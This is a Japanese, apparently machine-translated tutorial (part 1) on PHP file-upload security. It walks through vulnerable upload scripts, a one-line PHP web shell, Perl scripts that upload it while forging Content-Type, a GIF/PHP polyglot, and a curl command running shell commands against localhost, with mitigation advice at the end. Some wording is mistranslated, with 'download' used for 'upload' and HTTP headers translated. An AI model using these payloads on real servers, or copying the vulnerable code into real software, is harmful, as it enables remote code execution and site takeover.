サーバーに画像を安全にアップロードします。 パート1

この記事では、サーバーにファイルをアップロードするためのWebアプリケーションの主な脆弱性とそれらを回避する方法を示します。 この記事では、プロにとって興味深いものになるかどうかの基本を説明しています。 しかし、すべて同じ-すべてのPHP開発者はこれを知っている必要があります。



さまざまなWebアプリケーションにより、ユーザーはファイルをアップロードできます。 フォーラムでは、ユーザーがアバターをアップロードできます。 フォトギャラリーでは、写真をアップロードできます。 ソーシャルネットワークは、画像、動画などをアップロードする機能を提供します。 ブログでは、アバターや画像を再度アップロードできます。



多くの場合、適切なセキュリティ制御なしでファイルをダウンロードすると、脆弱性が発生します。これは、実践が示すように、PHP Webアプリケーションで実際の問題になっています。



テストにより、多くのWebアプリケーションには多くのセキュリティ問題があることが示されています。 これらの「ホール」は、サーバー上のファイルを表示し、任意のコードを実行してダウンロードすることから始めて、不正行為を実行する広範な機会を攻撃者に提供します。 この記事では、主要なセキュリティホールとそれらを回避する方法について説明します。



この記事で提供されているコード例は、次の場所からダウンロードできます。

www.scanit.be/uploads/php-file-upload-examples.zip



それらを使用する場合は、使用しているサーバーがインターネットまたは他のパブリックネットワークからアクセスできないことを確認してください。 この例は、外部からアクセス可能なサーバーで実行すると危険な結果を招く可能性があるさまざまな脆弱性を示しています。



通常のファイルのダウンロード

ファイルのアップロードは通常、2つの独立した機能で構成されます-ユーザーからのファイルの受け入れとユーザーへのファイルの表示。 両方の部分が脆弱性の原因になる可能性があります。 次のコード(upload1.php)を見てみましょう。



<?php

$uploaddir = 'uploads/' ; // Relative path under webroot

$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);



if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n" ;

} else {

echo "File uploading failed.\n" ;

}

?>



* This source code was highlighted with Source Code Highlighter .








通常、ユーザーは同様の形式を使用してファイルをアップロードします。



< form name ="upload" action ="upload1.php" method ="POST" ENCTYPE ="multipart/form-data" >

Select the file to upload: < input type ="file" name ="userfile" >

< input type ="submit" name ="upload" value ="upload" >

</ form >




* This source code was highlighted with Source Code Highlighter .








攻撃者はこのフォームを使用しません。 彼は、小さなPerlスクリプト(おそらく任意の言語-約Translator)を作成できますこれは、ユーザーの裁量で送信されたデータを変更するためのファイルのダウンロードに対するアクションをエミュレートします。



この場合、ダウンロードには大きなセキュリティホールが含まれます。upload1.phpを使用すると、ユーザーはサイトのルートに任意のファイルをアップロードできます。 攻撃者は、任意のシェルコマンドをWebサーバープロセスの権限でサーバーで実行できるようにするPHPファイルをダウンロードできます。 このようなスクリプトは、PHP-Shellと呼ばれます。 そのようなスクリプトの最も簡単な例を次に示します。



<?php

system($_GET['command']);

?>








このスクリプトがサーバー上にある場合、リクエストを介して任意のコマンドを実行できます。

server / shell.php?command = any_Unix_shell_command



より高度なPHPシェルはインターネットで見つけることができます。 任意のファイルをアップロードしたり、SQLクエリを実行したりできます。



以下に示すPerlソースは、upload1.phpを使用してPHPシェルをサーバーにアップロードします。



#!/usr/bin/perl

use LWP; # we are using libwwwperl

use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent-> new ;

$res = $ua->request(POST 'http://localhost/upload1.php' ,

Content_Type => 'form-data' ,

Content => [userfile => [ "shell.php" , "shell.php" ],],);



print $res->as_string();



* This source code was highlighted with Source Code Highlighter .








このスクリプトはlibwwwperlを使用します。これは、HTTPクライアントをエミュレートする便利なPerlライブラリです。



このスクリプトを実行すると、次のようになります。



リクエスト:

POST /upload1.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Length: 156

Content-Type: multipart/form-data; boundary=xYzZY

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: text/plain

<?php

system($_GET['command']);

?>

--xYzZY—







答えは:

HTTP/1.1 200 OK

Date: Wed, 13 Jun 2007 12:25:32 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Content-Length: 48

Connection: close

Content-Type: text/html

File is valid, and was successfully uploaded.







シェルスクリプトを読み込んだ後、次のコマンドを安全に実行できます。



$ curl localhost/uploads/shell.php?command=id

uid=81(apache) gid=81(apache) groups=81(apache)







cURLは、UnixおよびWindowsで使用可能なコマンドラインHTTPクライアントです。 これは、Webアプリケーションをチェックするための非常に便利なツールです。 cURLはcurl.haxx.seからダウンロードできます



コンテンツタイプの検証

上記の例はめったにありません。 ほとんどの場合、プログラマは単純なチェックを使用して、ユーザーが厳密に定義されたタイプのファイルをアップロードできるようにします。 たとえば、Content-Typeヘッダーを使用する場合:



例2(upload2.php):



<?php

if ($_FILES[ 'userfile' ][ 'type' ] != "image/gif" ) {

echo "Sorry, we only allow uploading GIF images" ;

exit;

}

$uploaddir = 'uploads/' ;

$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);



if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n" ;

} else {

echo "File uploading failed.\n" ;

}

?>




* This source code was highlighted with Source Code Highlighter .








この場合、攻撃者がshell.phpを読み込もうとすると、コードはリクエスト内のダウンロードされたファイルのMIMEタイプをチェックし、不要なものを除外します。



リクエスト:

POST /upload2.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 156

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: text/plain

<?php

system($_GET['command']);

?>

--xYzZY--







答えは:

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 13:54:01 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Content-Length: 41

Connection: close

Content-Type: text/html

Sorry, we only allow uploading GIF images







これまでのところ良い。 残念ながら、チェックされたMIMEタイプはリクエストに付属しているため、この保護を回避する方法があります。 上記のリクエストでは、「text / plain」に設定されています(ブラウザによってインストールされます-ほぼ翻訳者) 。 クライアントエミュレーションの助けを借りて、送信するリクエスト(upload2.pl)を完全に制御するため、攻撃者が「image / gif」に設定するのを妨げるものはありません。



#!/usr/bin/perl

#

use LWP;

use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent-> new ;;

$res = $ua->request(POST 'http://localhost/upload2.php' ,

Content_Type => 'form-data' ,

Content => [userfile => [ "shell.php" , "shell.php" , "Content-Type" => "image/gif" ],],);



print $res->as_string();




* This source code was highlighted with Source Code Highlighter .








それが起こることです。



リクエスト:

POST /upload2.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 155

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: image/gif

<?php

system($_GET['command']);

?>

--xYzZY—







答えは:

  HTTP / 1.1 200 OK 
      

日付:2007年5月31日(木)14:02:11 GMT

サーバー:Apache

X-Powered-By:PHP / 4.4.4-pl6-gentoo

コンテンツの長さ:59

接続:閉じる

コンテンツタイプ:テキスト/ html

ファイルは有効であり、正常にアップロードされました。




その結果、upload2.plはContent-Typeヘッダーを偽造し、サーバーにファイルの受け入れを強制します。



画像ファイルの内容を確認する

PHP開発者は、Content-Typeヘッダーを信頼する代わりに、ダウンロードしたファイルの実際のコンテンツをチェックして、それがイメージであることを確認できます。 これには、PHP getimagesize()関数がよく使用されます。 引数としてファイル名を取り、サイズと画像タイプの配列を返します。 以下のupload3.phpの例を考えてください。



<?php

$imageinfo = getimagesize($_FILES[ 'userfile' ][ 'tmp_name' ]);

if ($imageinfo[ 'mime' ] != 'image/gif' && $imageinfo[ 'mime' ] != 'image/jpeg' ) {

echo "Sorry, we only accept GIF and JPEG images\n" ;

exit;

}



$uploaddir = 'uploads/' ;

$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);



if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n" ;

} else {

echo "File uploading failed.\n" ;

}

?>




* This source code was highlighted with Source Code Highlighter .








これで、攻撃者がshell.phpをダウンロードしようとすると、Content-Typeヘッダーを「image / gif」に設定しても、upload3.phpは引き続きエラーをスローします。



リクエスト:

POST /upload3.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 155

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="shell.php"

Content-Type: image/gif

<?php

system($_GET['command']);

?>

--xYzZY—







答えは:

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 14:33:35 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Content-Length: 42

Connection: close

Content-Type: text/html

Sorry, we only accept GIF and JPEG images







GIFまたはJPEGファイルのみがアップロードされるので安心できると思うかもしれません。 残念ながら、そうではありません。 ファイルは実際にはGIFまたはJPEG形式であり、同時にPHPスクリプトでもかまいません。 ほとんどの画像形式では、テキストメタデータを画像に追加できます。 このメタデータにPHPコードを含む完全に有効な画像を作成することができます。 getimagesize()がファイルを見ると、それを有効なGIFまたはJPEGとして認識します。 PHPトランスレータがファイルを見ると、バイナリの「ガベージ」にある実行可能なPHPコードが無視されることがわかります。 サンプルにはcrocus.gifというサンプルファイルが含まれています(記事の冒頭を参照)。 同様の画像を任意のグラフィックエディタで作成できます。



したがって、perlスクリプトを作成してイメージをロードします。

#!/usr/bin/perl

#

use LWP;

use HTTP::Request::Common;

$ua = $ua = LWP::UserAgent-> new ;;

$res = $ua->request(POST 'http://localhost/upload3.php' ,

Content_Type => 'form-data' ,

Content => [userfile => [ "crocus.gif" , "crocus.php" , "Content-Type" => "image/gif" ], ],);



print $res->as_string();




* This source code was highlighted with Source Code Highlighter .








このコードはcrocus.gifファイルを取得し、crocus.phpという名前でロードします。 実行すると次のようになります。



リクエスト:

POST /upload3.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 14835

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="crocus.php"

Content-Type: image/gif

GIF89a(...some binary data...)<?php phpinfo(); ?>(... skipping the rest of binary data ...)

--xYzZY—







答えは:

  HTTP / 1.1 200 OK 
      

日付:2007年5月31日(木)14:47:24 GMT

サーバー:Apache

X-Powered-By:PHP / 4.4.4-pl6-gentoo

コンテンツの長さ:59

接続:閉じる

コンテンツタイプ:テキスト/ html

ファイルは有効であり、正常にアップロードされました。




これで、攻撃者はuploads / crocus.phpを実行し、次のものを取得できます。



画像



ご覧のとおり、PHPトランスレータは画像の先頭のバイナリデータを無視し、GIFコメント内のシーケンス「<?Phpinfo()?>」を実行します。



ファイル拡張子を確認する

この記事の読者は、なぜダウンロードしたファイルの拡張子を単純にチェックしていないのか疑問に思うかもしれません。 * .phpファイルのロードを許可しない場合、サーバーはこのファイルをスクリプトとして実行できなくなります。 このアプローチを見てみましょう。



ファイル拡張子をブラックリストに登録し、ダウンロードしたファイルの名前を確認します。実行可能な拡張子(upload4.php)を含むファイルのダウンロードは無視します。



<?php

$blacklist = array( ".php" , ".phtml" , ".php3" , ".php4" );

foreach ($blacklist as $item) {

if (preg_match( "/$item\$/i" , $_FILES[ 'userfile' ][ 'name' ])) {

echo "We do not allow uploading PHP files\n" ;

exit;

}

}



$uploaddir = 'uploads/' ;

$uploadfile = $uploaddir . basename($_FILES[ 'userfile' ][ 'name' ]);



if (move_uploaded_file($_FILES[ 'userfile' ][ 'tmp_name' ], $uploadfile)) {

echo "File is valid, and was successfully uploaded.\n" ;

} else {

echo "File uploading failed.\n" ;

}

?>



* This source code was highlighted with Source Code Highlighter .








表現preg_match( "/ $ item \ $ / i"、$ _FILES ['userfile'] ['name'])は、ブラックリスト配列でユーザーが定義したファイル名と一致します。 「i」修飾子は、式で大文字と小文字が区別されないことを示します。 ファイル拡張子がブラックリスト内のアイテムのいずれかと一致する場合、ファイルはダウンロードされません。



拡張子が.phpのファイルをダウンロードしようとすると、エラーが発生します。



リクエスト:

POST /upload4.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 14835

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="crocus.php"

Content-Type: image/gif

GIF89(...skipping binary data...)

--xYzZY—







答えは:

HTTP/1.1 200 OK

Date: Thu, 31 May 2007 15:19:45 GMT

Server: Apache

X-Powered-By: PHP/4.4.4-pl6-gentoo

Content-Length: 36

Connection: close

Content-Type: text/html

We do not allow uploading PHP files







拡張子が.gifのファイルをアップロードすると、ダウンロードされます。



リクエスト:

POST /upload4.php HTTP/1.1

TE: deflate,gzip;q=0.3

Connection: TE, close

Host: localhost

User-Agent: libwww-perl/5.803

Content-Type: multipart/form-data; boundary=xYzZY

Content-Length: 14835

--xYzZY

Content-Disposition: form-data; name="userfile"; filename="crocus.gif"

Content-Type: image/gif

GIF89(...skipping binary data...)

--xYzZY--







答えは:

  HTTP / 1.1 200 OK 
      

日付:2007年5月31日(木)15:20:17 GMT

サーバー:Apache

X-Powered-By:PHP / 4.4.4-pl6-gentoo

コンテンツの長さ:59

接続:閉じる

コンテンツタイプ:テキスト/ html

ファイルは有効であり、正常にアップロードされました。




これで、ダウンロードしたファイルをリクエストした場合、サーバーによって実行されません。



画像



翻訳者のコメント:

画像をダウンロードする場合、最善の方法は指定されたアクションではなく、getimagesize()関数の結果としての拡張子でファイルを保存することです。 ほとんどの場合、これはまさに起こることです。 ファイルを特定の形式(jpegなど)に変換することをお勧めします。 写真のメタデータを持ち込むと(私が知る限り)失われ、ほとんど保証されたセキュリティが提供されます。



タイプ.phpの拡張子を持つファイルのダウンロードの存在は、サイトの冒頭ですべて確認する必要があり、もしあれば、すぐに破棄する必要があります。



→第二部



All Articles